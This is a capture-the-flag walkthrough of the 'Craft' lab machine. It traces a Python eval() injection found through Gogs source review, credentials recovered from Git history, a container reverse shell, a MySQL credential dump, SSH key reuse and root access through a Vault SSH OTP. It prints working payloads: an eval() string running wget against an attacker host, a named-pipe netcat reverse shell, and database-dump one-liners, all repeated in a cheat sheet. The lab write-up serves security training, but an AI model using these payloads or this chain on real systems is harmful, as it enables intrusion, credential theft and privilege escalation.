🍺 Craft

Machine: Craft
Difficulty: Medium
Theme: HTTPS vhosts β†’ Gogs source review β†’ leaked API credentials β†’ authenticated Python eval() injection β†’ container shell β†’ internal MySQL credential dump β†’ Gogs private repo β†’ encrypted SSH key β†’ Vault SSH OTP β†’ root shell


🎯 Summary

Craft is a Linux machine focused on source-code review, API abuse, container post-exploitation, credential reuse, and Vault-backed SSH access.

Initial enumeration reveals SSH on port 22, HTTPS on port 443, and another SSH-like service on port 6022. The HTTPS service exposes the Craft website and points to two virtual hosts: api.craft.htb and gogs.craft.htb.

The API exposes Swagger-style documentation, but authenticated write operations require a token. The public Gogs instance hosts the Craft/craft-api repository. An issue titled around bogus ABV values exposes an example API request and links to a commit that attempted to fix ABV validation. The commit shows that user-controlled JSON input from the abv field is interpolated into a Python eval() expression.

A test script in the repository shows the API login flow. The current version has blank credentials, but Git history reveals working Basic Auth credentials for the API user. These credentials are used to generate a fresh API token.

The vulnerable /api/brew/ endpoint is abused by placing Python code in the abv field. Initial arithmetic tests confirm server-side evaluation. A harmless HTTP callback confirms blind command execution. The same primitive is then used to obtain a reverse shell as root inside the application container.

Inside the container, /.dockerenv confirms the shell is container root, not host root. Application settings disclose internal MySQL credentials. The container can resolve the internal database host db, so the application’s own Python dependencies are used to query MySQL. The user table contains plaintext credentials for several users.

The recovered gilfoyle credential works against Gogs. Gilfoyle’s private repository contains an encrypted SSH private key. The database password is reused as the key passphrase, allowing SSH access to the host as gilfoyle.

On the host, gilfoyle has a .vault-token. Vault is installed locally, reachable, and the token has the root policy. Vault’s SSH secrets engine exposes a root_otp role configured for root login via one-time password. Using vault ssh generates an OTP, which is pasted into the SSH password prompt to obtain a root shell and read root.txt.


1. Enumeration

Initial service scan:

sudo nmap -sC -sV -vv -oA nmap/craft [TARGET_IP]

Initial results:

22/tcp  open  ssh      OpenSSH 7.4p1 Debian
443/tcp open  ssl/http nginx 1.15.8

A full TCP scan found an additional port:

sudo nmap -p- --min-rate=800 -T3 -vv [TARGET_IP]

Important ports:

22/tcp    ssh
443/tcp   https
6022/tcp  ssh-like service

The TLS certificate on port 443 leaked the base hostname:

commonName=craft.htb
Issuer: Craft CA

Hostnames were added to /etc/hosts:

echo "[TARGET_IP] craft.htb api.craft.htb gogs.craft.htb" | sudo tee -a /etc/hosts

Important gotcha:

The default Nmap scan found only ports 22 and 443. The full port scan was needed to reveal 6022, although 6022 did not become the main path.


2. HTTPS and Vhost Enumeration

Browsing to:

https://craft.htb/

showed the Craft homepage.

The page linked to two important virtual hosts:

api.craft.htb
gogs.craft.htb

The API host exposed Swagger-style documentation:

https://api.craft.htb/api/

The API certificate was not trusted locally, so curl requests needed TLS verification disabled:

curl -k https://api.craft.htb/api/

Testing the login endpoint without credentials returned:

Authentication failed

This confirmed that the endpoint was reachable and that the issue was application-layer authentication, not TLS or DNS.

Important gotcha:

The API’s public GET /api/brew listing is not the vulnerable path. The interesting route is authenticated POST /api/brew/, because that reaches the brew creation logic.


3. Gogs Enumeration

The Gogs virtual host exposed a self-hosted Git service:

https://gogs.craft.htb/

The public repositories contained:

Craft/craft-api

The issue tracker contained an issue about bogus ABV values. The issue was important because it disclosed:

an example API request
the affected /api/brew/ endpoint
the abv field
a linked commit that attempted to fix validation

The linked commit modified:

craft_api/api/brew/endpoints/brew.py

Relevant vulnerable logic:

if eval('%s > 1' % request.json['abv']):
    return "ABV must be a decimal value less than 1.0", 400
else:
    create_brew(request.json)
    return None, 201

This was the core bug.

The user-controlled abv value is not parsed safely as a decimal. It is interpolated into a Python expression and passed to eval().

Server-side expression shape:

<attacker-controlled abv> > 1

Important gotcha:

This is not normal command injection where raw shell syntax is executed directly. The payload first has to be valid Python expression syntax.


4. API Token Workflow

The issue contained an old API token, but using it failed:

curl -H 'X-Craft-API-Token: [OLD_TOKEN]' \
  -H "Content-Type: application/json" \
  -k \
  -X POST https://api.craft.htb/api/brew/ \
  --data '{"name":"test","brewer":"test","style":"test","abv":"15.0"}'

Response:

{"message": "Invalid token or no token found."}

The token was stale or expired.

A test script in the repository showed the correct API flow:

response = requests.get(
    'https://api.craft.htb/api/auth/login',
    auth=('', ''),
    verify=False
)
 
json_response = json.loads(response.text)
token = json_response['token']
 
headers = {
    'X-Craft-API-Token': token,
    'Content-Type': 'application/json'
}

The current version had blank credentials, but Git history revealed the original values:

dinesh:[DINESH_API_PASSWORD]

The script was updated locally to authenticate dynamically:

response = requests.get(
    'https://api.craft.htb/api/auth/login',
    auth=('dinesh', '[DINESH_API_PASSWORD]'),
    verify=False
)
 
json_response = json.loads(response.text)
token = json_response['token']
 
headers = {
    'X-Craft-API-Token': token,
    'Content-Type': 'application/json'
}

Token validation:

response = requests.get(
    'https://api.craft.htb/api/auth/check',
    headers=headers,
    verify=False
)
 
print(response.text)

Expected output:

{"message":"Token is valid!"}

Important gotcha:

The leaked issue token was useful for learning the header format, but it was not valid anymore. The working path was to recover Basic Auth credentials from Git history and request a fresh token.


5. Confirming the eval() Primitive

The test script was used as a harness for authenticated POST requests.

Baseline high ABV:

brew_dict['abv'] = '15.0'

Response:

400
"ABV must be a decimal value less than 1.0"

Baseline low ABV:

brew_dict['abv'] = '0.15'

Response:

null

Then arithmetic expressions were tested.

Input:

brew_dict['abv'] = '2.4+2.4'

The server evaluates:

2.4+2.4 > 1

This is true, so the app returns the validation branch:

400
"ABV must be a decimal value less than 1.0"

Input:

brew_dict['abv'] = '0.4+0.4'

The server evaluates:

0.4+0.4 > 1

This is false, so the app enters create_brew(request.json).

However, the database receives the raw string:

0.4+0.4

not the evaluated result 0.8.

This caused:

{"message": "An unhandled exception occurred."}

Important gotcha:

The 500 from 0.4+0.4 was not a failed injection. It actually confirmed the branch behavior. The expression evaluated successfully, but the raw non-decimal string caused a DB insert error.


6. Blind Code Execution Proof

A harmless HTTP callback was used before attempting a shell.

Attacker listener:

python3 -m http.server 8001

The abv field was changed to a Python expression that invokes a shell command through os.system():

brew_dict['abv'] = "__import__('os').system('wget -qO- http://[ATTACKER_TUN_IP]:8001/unique-test-path') or 2"

This is valid inside eval() because __import__('os').system(...) is a Python expression.

Expected API response:

400
"ABV must be a decimal value less than 1.0"

Expected attacker HTTP server log:

[TARGET_IP] - - "GET /unique-test-path HTTP/1.1" 404 -

The 404 was success. The file did not exist, but the target reached the attacker-controlled server.

Important gotchas:

Raw shell syntax such as this does not work inside eval():

wget http://[ATTACKER_TUN_IP]:8001/test

The target is evaluating Python, not directly passing the input to /bin/sh.

The command must be wrapped inside a Python expression, for example:

__import__('os').system('<shell command>')

7. Reverse Shell as Container Root

The first Bash /dev/tcp reverse shell did not work reliably in the target environment.

A more portable named-pipe Netcat shell was used instead:

brew_dict['abv'] = "__import__('os').system('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [ATTACKER_TUN_IP] 4444 > /tmp/f') or 2"

Attacker listener:

nc -lvnp 4444

Trigger:

python3 test.py

Connection:

Connection received on [TARGET_IP]
/bin/sh: can't access tty; job control turned off
/opt/app #

Initial verification:

whoami
id
pwd

Output:

root
uid=0(root) gid=0(root) groups=0(root),...
/opt/app

Container check:

ls -la /

The root directory contained:

.dockerenv

This confirmed that the shell was root inside the application container, not root on the host.

Important gotchas:

The API request may hang when the reverse shell connects. That is normal because the spawned command may not return.

The shell was fragile. vi, heredocs, and full TTY upgrades were unreliable because the container did not have /bin/bash. Simple commands and Python one-liners were more reliable.


8. Container Enumeration

The working directory was:

/opt/app

Interesting files:

/opt/app/app.py
/opt/app/dbtest.py
/opt/app/tests/test.py
/opt/app/craft_api/settings.py
/opt/app/craft_api/database/models.py

The application settings disclosed internal secrets:

CRAFT_API_SECRET = '[CRAFT_API_SECRET]'
 
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = '[MYSQL_PASSWORD]'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'

The DB host db was internal to the container network and was not exposed externally.

The file /opt/app/dbtest.py already contained the right connection pattern using pymysql and craft_api.settings.

Important gotcha:

External MySQL access from the attacker machine was not needed. The application container already had network access to the internal DB and the correct Python dependencies.


9. Internal MySQL Enumeration

Because the shell was unstable, Python one-liners were used instead of editing files interactively.

List tables:

cd /opt/app
 
python -c 'import pymysql; from craft_api import settings; c=pymysql.connect(host=settings.MYSQL_DATABASE_HOST,user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor); cur=c.cursor(); cur.execute("SHOW TABLES"); print(cur.fetchall()); c.close()'

Output:

[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]

Dump user table:

python -c 'import pymysql; from craft_api import settings; c=pymysql.connect(host=settings.MYSQL_DATABASE_HOST,user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor); cur=c.cursor(); cur.execute("SELECT * FROM `user`"); print(cur.fetchall()); c.close()'

Recovered users:

dinesh:[DINESH_PASSWORD]
ebachman:[EBACHMAN_PASSWORD]
gilfoyle:[GILFOYLE_PASSWORD]

Important gotcha:

The user table name should be wrapped in backticks:

SELECT * FROM `user`;

This avoids parsing issues with reserved or special identifiers.


10. Credential Reuse Testing

The recovered DB credentials were added to creds.txt:

craft:[MYSQL_PASSWORD]
CRAFT_API_SECRET:[CRAFT_API_SECRET]
dinesh:[DINESH_PASSWORD]
ebachman:[EBACHMAN_PASSWORD]
gilfoyle:[GILFOYLE_PASSWORD]

Direct SSH password login on port 22 failed:

ssh gilfoyle@[TARGET_IP] -p 22
ssh ebachman@[TARGET_IP] -p 22

Output:

Permission denied (publickey,keyboard-interactive).

Port 6022 produced an older SSH host key compatibility issue:

Unable to negotiate with [TARGET_IP] port 6022: no matching host key type found. Their offer: ssh-rsa

This was not worth chasing at that stage.

The better pivot was Gogs credential reuse.

Login URL:

https://gogs.craft.htb/user/login

The gilfoyle credential worked.

Important gotcha:

SSH password reuse failed, but the same credential was valid in Gogs. Do not stop testing credentials after one service rejects them.


11. Gilfoyle’s Private Gogs Repository

After logging into Gogs as gilfoyle, private material became visible.

The interesting repository contained infrastructure/SSH material, including:

.ssh/id_rsa

The key was encrypted:

-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

The key header showed encryption:

aes256-ctr
bcrypt

The private key was saved locally:

vi gilfoyle_id_rsa
chmod 600 gilfoyle_id_rsa

SSH with the key:

ssh -i gilfoyle_id_rsa gilfoyle@[TARGET_IP]

When prompted for the key passphrase, the DB password for gilfoyle was used:

[GILFOYLE_PASSWORD]

Host access was obtained:

gilfoyle@craft:~$

Verification:

whoami
id
hostname
pwd

Expected:

gilfoyle
uid=1001(gilfoyle) gid=1001(gilfoyle) ...
craft
/home/gilfoyle

The user flag was located at:

/home/gilfoyle/user.txt

Important gotcha:

The recovered Gogs SSH key was encrypted. The DB password was not an SSH password, but it was reused as the private key passphrase.


12. Host Enumeration as Gilfoyle

Home directory file enumeration:

find ~ -maxdepth 3 -type f -ls 2>/dev/null

Interesting files:

/home/gilfoyle/user.txt
/home/gilfoyle/.ssh/authorized_keys
/home/gilfoyle/.ssh/known_hosts
/home/gilfoyle/.vault-token

The .vault-token file was immediately suspicious:

cat ~/.vault-token

Vault was installed:

which vault

Output:

/usr/local/bin/vault

Vault status:

vault status

Output:

Seal Type       shamir
Initialized     false
Sealed          false
Version         0.11.1
HA Enabled      false

Important gotcha:

The .vault-token file had no trailing newline, so the token output visually ran into the shell prompt. That did not affect its validity.


13. Vault Token Enumeration

The token was inspected:

vault token lookup

Important output:

display_name        root
path                auth/token/root
policies            [root]
ttl                 0s

This was a root-policy Vault token.

Enabled secrets engines:

vault secrets list

Output:

cubbyhole/
identity/
secret/
ssh/
sys/

The ssh/ secrets engine was enabled.

Roles were listed:

vault list ssh/roles

Output:

root_otp

The role was inspected:

vault read ssh/roles/root_otp

Output:

allowed_users        n/a
cidr_list            0.0.0.0/0
default_user         root
key_type             otp
port                 22

This showed that Vault could generate a one-time SSH password for root.

Important gotcha:

The Vault token itself is not the root SSH password. It is used to ask Vault to generate a one-time SSH password.


14. Root via Vault SSH OTP

Vault’s SSH helper was used:

vault ssh -role root_otp -mode otp root@127.0.0.1

Vault reported that sshpass was not installed, so it could not automatically paste the OTP. It still displayed the OTP:

OTP for the session is: [VAULT_OTP]

At the SSH password prompt, the OTP was pasted manually.

Successful root shell:

root@craft:~#

Verification:

whoami
id
hostname
pwd

Expected:

root
uid=0(root) gid=0(root) groups=0(root)
craft
/root

The root flag was recovered from:

/root/root.txt

Important gotchas:

The OTP is one-time and short-lived. If it fails, generate a fresh OTP.

The warning about missing sshpass is not a failure. It only means Vault cannot automate the password entry.

Use 127.0.0.1 from the host shell because the role is configured for SSH on port 22 and allows 0.0.0.0/0.


πŸ”— Condensed Attack Chain

Initial scan
  ↓
SSH, HTTPS, and port 6022 discovered
  ↓
TLS certificate leaks craft.htb
  ↓
/etc/hosts configured
  ↓
craft.htb homepage reveals api.craft.htb and gogs.craft.htb
  ↓
API docs reviewed
  ↓
Gogs public repository discovered
  ↓
Issue about bogus ABV values found
  ↓
Linked commit reviewed
  ↓
brew.py uses eval() on request.json['abv']
  ↓
API test script found
  ↓
Current script has blank credentials
  ↓
Git history reveals dinesh API credentials
  ↓
Fresh API token generated
  ↓
/api/auth/check confirms token validity
  ↓
Authenticated POST to /api/brew/ reaches vulnerable code
  ↓
Arithmetic ABV tests confirm Python eval behavior
  ↓
HTTP callback confirms blind code execution
  ↓
Python os.system payload gets reverse shell
  ↓
Shell lands as root inside Docker container
  ↓
/.dockerenv confirms container context
  ↓
Application settings disclose MySQL credentials
  ↓
Internal DB host db queried from container
  ↓
user table dumped
  ↓
Plaintext Gogs credentials recovered
  ↓
gilfoyle logs into Gogs
  ↓
Private repo exposes encrypted SSH private key
  ↓
gilfoyle DB password unlocks SSH key
  ↓
SSH as gilfoyle on host
  ↓
user.txt recovered
  ↓
~/.vault-token found
  ↓
Vault token has root policy
  ↓
ssh/ secrets engine contains root_otp role
  ↓
Vault generates one-time SSH password for root
  ↓
SSH as root using OTP
  ↓
root.txt recovered

🧠 Key Takeaways

Public source repositories are high-value. Issues, commits, and test scripts often contain more useful information than the running web app.

Git history matters. The current test script had blank credentials, but older commits preserved working API credentials.

Stale tokens can still be useful. The old API token from the issue failed, but it revealed the correct header format and protected endpoint.

The vulnerable code was not just bad validation. It was unsafe Python expression evaluation:

eval('%s > 1' % request.json['abv'])

For eval() bugs, payloads must be valid Python expressions. Raw shell commands do not work unless wrapped inside something like __import__('os').system(...).

Branch behavior matters. Expressions evaluating above 1 returned the ABV validation error, while expressions below 1 reached the DB insert path and caused a 500 when the raw expression string was inserted.

A 404 from an attacker-controlled HTTP server can be a success signal. The path did not exist, but the inbound request proved target-side execution.

Container root is not host root. /.dockerenv changed the next step from host privesc to application/container enumeration.

Application config often contains the next pivot. settings.py disclosed internal MySQL credentials and the internal DB hostname.

Internal services may only be reachable from the container. Querying MySQL from inside the container was easier than trying to expose or tunnel the DB externally.

Credential reuse should be tested across contexts. The DB passwords did not work as direct SSH passwords, but Gilfoyle’s credential worked in Gogs.

Private developer repositories can contain host access material. Gilfoyle’s private repo exposed an encrypted SSH private key.

A reused password may unlock a key even if it does not work as an account password. Gilfoyle’s DB password was the SSH key passphrase.

Vault tokens are powerful local artifacts. A .vault-token with root policy gave access to the Vault SSH secrets engine.

Vault SSH OTP is not the same as a password stored in a file. The token is used to generate a temporary password for SSH.

Missing sshpass is not fatal. Vault displayed the OTP, and it could be pasted manually into the SSH password prompt.


⚑ Commands Cheat Sheet

Host setup

echo "[TARGET_IP] craft.htb api.craft.htb gogs.craft.htb" | sudo tee -a /etc/hosts

Nmap

sudo nmap -sC -sV -vv -oA nmap/craft [TARGET_IP]
 
sudo nmap -p- --min-rate=800 -T3 -vv [TARGET_IP]

API basic checks

curl -k https://api.craft.htb/api/
 
curl -k -X GET "https://api.craft.htb/api/auth/login" \
  -H "accept: application/json"

Authenticated API harness

#!/usr/bin/env python3
 
import requests
import json
import urllib3
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
response = requests.get(
    'https://api.craft.htb/api/auth/login',
    auth=('dinesh', '[DINESH_API_PASSWORD]'),
    verify=False
)
 
json_response = json.loads(response.text)
token = json_response['token']
 
headers = {
    'X-Craft-API-Token': token,
    'Content-Type': 'application/json'
}
 
response = requests.get(
    'https://api.craft.htb/api/auth/check',
    headers=headers,
    verify=False
)
 
print(response.text)
 
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'test'
brew_dict['brewer'] = 'test'
brew_dict['style'] = 'test'
 
json_data = json.dumps(brew_dict)
 
response = requests.post(
    'https://api.craft.htb/api/brew/',
    headers=headers,
    data=json_data,
    verify=False
)
 
print(response.status_code)
print(response.text)

Eval arithmetic tests

brew_dict['abv'] = '2.4+2.4'
brew_dict['abv'] = '0.4+0.4'

HTTP callback proof

Attacker:

python3 -m http.server 8001

Payload:

brew_dict['abv'] = "__import__('os').system('wget -qO- http://[ATTACKER_TUN_IP]:8001/unique-test-path') or 2"

Reverse shell

Listener:

nc -lvnp 4444

Payload:

brew_dict['abv'] = "__import__('os').system('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [ATTACKER_TUN_IP] 4444 > /tmp/f') or 2"

Container checks

whoami
id
pwd
ls -la /
cat /.dockerenv
hostname

Application config

cd /opt/app
cat craft_api/settings.py
cat dbtest.py

MySQL enum from container

List tables:

python -c 'import pymysql; from craft_api import settings; c=pymysql.connect(host=settings.MYSQL_DATABASE_HOST,user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor); cur=c.cursor(); cur.execute("SHOW TABLES"); print(cur.fetchall()); c.close()'

Dump users:

python -c 'import pymysql; from craft_api import settings; c=pymysql.connect(host=settings.MYSQL_DATABASE_HOST,user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor); cur=c.cursor(); cur.execute("SELECT * FROM `user`"); print(cur.fetchall()); c.close()'

SSH with recovered private key

chmod 600 gilfoyle_id_rsa
 
ssh -i gilfoyle_id_rsa gilfoyle@[TARGET_IP]

Use Gilfoyle’s recovered DB password as the key passphrase.

Host enumeration as Gilfoyle

whoami
id
hostname
pwd
find ~ -maxdepth 3 -type f -ls 2>/dev/null
cat ~/.vault-token
which vault
vault status

Vault enumeration

vault token lookup
vault secrets list
vault list ssh/roles
vault read ssh/roles/root_otp

Root via Vault OTP

vault ssh -role root_otp -mode otp root@127.0.0.1

Paste the displayed OTP at the SSH password prompt.

Manual OTP generation alternative:

vault write ssh/creds/root_otp ip=127.0.0.1
 
ssh root@127.0.0.1

🧭 Diagnostic Map

Symptom: curl to API fails with TLS error Meaning: The Craft CA/cert chain is not trusted locally Next: Use -k for lab testing or import the CA if needed

Symptom: /api/auth/login returns Authentication failed Meaning: Endpoint is reachable but missing valid Basic Auth Next: Search Gogs for API login examples and credentials

Symptom: Old issue token returns Invalid token or no token found Meaning: The leaked JWT is stale/expired Next: Use credentials from Git history to generate a fresh token

Symptom: POST body returns β€œbrowser/proxy sent a request this server could not understand” Meaning: Malformed JSON Next: Fix JSON before debugging auth or payloads

Symptom: 0.4+0.4 returns 500 Meaning: Expression evaluated false and reached DB insert with raw non-decimal string Next: Use expressions that force the validation branch while testing side effects

Symptom: 2.4+2.4 returns ABV validation message Meaning: Python expression evaluation is happening Next: Move to harmless side-effect proof

Symptom: Python HTTP server logs 404 for /unique-test-path Meaning: Callback worked; file path not existing is irrelevant Next: Move to reverse shell payload

Symptom: Raw wget http://... in abv fails Meaning: The sink is Python eval(), not direct shell execution Next: Wrap shell commands inside Python expression syntax

Symptom: Bash /dev/tcp reverse shell fails Meaning: Bash or /dev/tcp support may be missing/unusable Next: Use /bin/sh + named-pipe Netcat payload

Symptom: Shell lands as root but /.dockerenv exists Meaning: Root inside container, not host root Next: Enumerate app config and internal services

Symptom: vi breaks the shell Meaning: Raw Netcat shell lacks a proper TTY Next: Use simple one-liners, transfer files, or spawn /bin/sh PTY if possible

Symptom: /bin/bash not found during PTY upgrade Meaning: Minimal container environment Next: Use /bin/sh

Symptom: MySQL is not externally reachable Meaning: DB is internal to the container network Next: Query it from inside the app container using app settings

Symptom: SSH password login fails with DB creds Meaning: Credentials are not valid direct SSH passwords Next: Try Gogs login and inspect private repos

Symptom: Port 6022 fails with ssh-rsa negotiation error Meaning: Old SSH algorithm rejected by modern client Next: Do not rabbit-hole unless needed; Gogs is the better pivot

Symptom: SSH key asks for passphrase Meaning: Private key is encrypted Next: Try the matching recovered user password as the key passphrase

Symptom: .vault-token output runs into prompt Meaning: Token file has no newline Next: Still use Vault CLI normally

Symptom: Vault says sshpass missing Meaning: Vault cannot automate password entry Next: Manually paste the displayed OTP at the SSH password prompt

Symptom: OTP fails Meaning: OTP may be expired or already used Next: Generate a fresh OTP


Field-manual techniques demonstrated on this box:


πŸ“ Personal Notes

Craft was an excellent CPTS-style box because the main weakness was not a public CVE. The important work was reading code, understanding application logic, and following credentials across trust boundaries.

The first key lesson was that source-code review can be the exploit. The API docs showed the surface, but Gogs showed the bug. The issue tracker pointed to the affected field, and the commit diff showed the unsafe implementation.

The second key lesson was to always inspect Git history. The current test script had blank credentials, but the old commit preserved the real Basic Auth values. Without checking history, the stale issue token could have become a rabbit hole.

The eval() behavior was also a useful reminder to reason about the exact sink. The app was not executing shell commands directly. It was evaluating Python expressions. That meant payloads had to be valid Python first, then shell execution could be reached through os.system().

The arithmetic tests were useful because they explained the branch behavior. 2.4+2.4 returned the ABV validation message because the expression evaluated above the threshold. 0.4+0.4 caused a server error because the expression evaluated below the threshold and the raw string was inserted into MySQL.

The HTTP callback was the right intermediate proof. Seeing a 404 from the Python HTTP server was enough to prove target-side execution. The content of the response did not matter.

The initial shell was misleading because it was root. The presence of /.dockerenv made it clear this was container root, not host root. From there, the right move was application configuration, not generic kernel privesc.

The MySQL pivot was clean. settings.py exposed credentials, and the container could resolve the internal DB host db. Querying from inside the container avoided unnecessary tunneling.

Credential reuse drove the next stage. The DB passwords failed as direct SSH passwords, but Gilfoyle’s password worked in Gogs and unlocked the encrypted SSH private key. This reinforced the habit of testing credentials across all relevant services, not just the first one.

The final Vault stage was a good example of legitimate administrative tooling becoming the privesc path. .vault-token looked small, but the token had root policy. The enabled SSH secrets engine and root_otp role provided a one-time root SSH password.

Overall methodology:

Enumerate vhosts carefully. Read public repositories and issue history. Inspect commit diffs. Use test scripts as request templates. Check Git history for secrets. Prove code execution with harmless callbacks before shells. Treat container root as an intermediate position. Pull application secrets from config. Query internal services from the position that can reach them. Test credential reuse across web, SSH, and key passphrases. Inspect hidden host files. When Vault is present, enumerate token permissions, secrets engines, and SSH roles before trying sudo or generic privesc.